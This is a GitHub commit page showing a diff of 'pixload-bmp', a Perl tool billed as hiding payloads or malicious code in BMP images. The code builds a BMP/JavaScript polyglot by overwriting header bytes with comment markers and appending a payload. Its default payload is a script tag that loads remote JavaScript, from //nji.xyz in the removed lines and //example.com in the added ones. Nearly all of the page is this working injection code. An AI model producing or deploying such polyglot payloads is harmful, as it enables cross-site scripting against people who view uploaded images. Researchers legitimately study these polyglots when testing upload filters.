Skip to content

Commit

Permalink
pixload-bmp: refactor
Browse files Browse the repository at this point in the history
  • Loading branch information
sighook committed Dec 6, 2021
1 parent 692499f commit 2b971dd
Showing 1 changed file with 70 additions and 42 deletions.
112 changes: 70 additions & 42 deletions pixload-bmp
Original file line number Diff line number Diff line change
Expand Up @@ -10,53 +10,28 @@

use strict;
use warnings;

use feature 'say';

use POSIX;
use Getopt::Long;

sub usage;
sub create_bmp;
sub inject_payload;

# Command line options
GetOptions(
'help!' => \my $help,
'payload=s' => \my $payload,
'output=s' => \my $outfile,
);
usage(0) if $help;
usage(1) unless $outfile;

$payload //= '<script src=//nji.xyz></script>';
use Getopt::Long qw(:config no_ignore_case);
use File::Basename;

say <<EOF;
[>| BMP Payload Creator/Injector |<]
use constant PROGRAM => basename $0;
use constant VERSION => 0.2;

https://github.com/chinarulezzz/pixload
EOF

create_bmp unless -f $outfile;
inject_payload;
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Default Options #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

say `file $outfile` if -f '/usr/bin/file';
say `hexdump -C $outfile` if -f '/usr/bin/hexdump';
my %opts = (
payload => '<script src=//example.com></script>',
);

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Subroutines #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

sub usage {
say <<"EOF";
Usage: $0 [-payload 'STRING'] -output payload.bmp
If the output file exists, then the payload will be injected into the
existing file. Else the new one will be created.
EOF
exit +shift;
}

sub create_bmp {
say "[>] Generating output file";

Expand All @@ -65,30 +40,83 @@ sub create_bmp {
. "\x00\x00\x0c\x00\x00\x00\x01\x00\x01\x00\x01\x00"
. "\x18\x00\x00\x00\xff\x00";

sysopen my $fh, $outfile, O_CREAT|O_WRONLY;
sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY;
syswrite $fh, $bmp_minimal;
close $fh;

say "[✔] File saved to: $outfile\n";
say "[✔] File saved to: $opts{FILE}\n";
}

sub inject_payload {
say "[>] Injecting payload into $outfile";
say "[>] Injecting payload into $opts{FILE}";

sysopen my $fh, $outfile, O_RDWR;
sysopen my $fh, $opts{FILE}, O_RDWR;
sysseek $fh, 2, SEEK_SET;

syswrite $fh, "\x2f\x2a";
sysseek $fh, 0, SEEK_END;

syswrite $fh, "\x2a\x2f\x3d\x31\x3b";
syswrite $fh, $payload;
syswrite $fh, $opts{payload};
syswrite $fh, "\x3b";

close $fh;

say "[✔] Payload was injected successfully\n";
}

sub banner {
<<EOF;
......... BMP Payload Creator/Injector ........
...............................................
... https://github.com/chinarulezzz/pixload ...
...............................................
EOF
}

sub usage {
<<"EOF";
Usage: @{[ PROGRAM ]} [OPTION]... FILE
Hide Payload/Malicious Code in BMP Images.
Mandatory arguments to long options are mandatory for short options too.
-P, --payload STRING set payload for injection
-v, --version print version and exit
-h, --help print help and exit
If the output FILE already exists, then payload will be injected into this
existing file. Otherwise, the new one will be created.
EOF
}

sub version {
PROGRAM . " " . VERSION;
}

sub main {
# command-line options
GetOptions(
'h|help!' => \$opts{help},
'v|version!' => \$opts{version},
'P|payload=s' => \$opts{payload},
) or die "$!\n";

$opts{FILE} = shift @ARGV;

say &usage and exit(0) if $opts{help};
say &version and exit(0) if $opts{version};
say &usage and exit(1) if ! $opts{FILE};

say &banner;

&create_bmp if ! -f $opts{FILE};
&inject_payload;

say `file $opts{FILE}` if -f '/usr/bin/file';
say `hexdump -C $opts{FILE}` if -f '/usr/bin/hexdump';
}

&main;

# vim:sw=4:ts=4:sts=4:et:cc=80
# End of file
# End of file.

0 comments on commit 2b971dd

Please sign in to comment.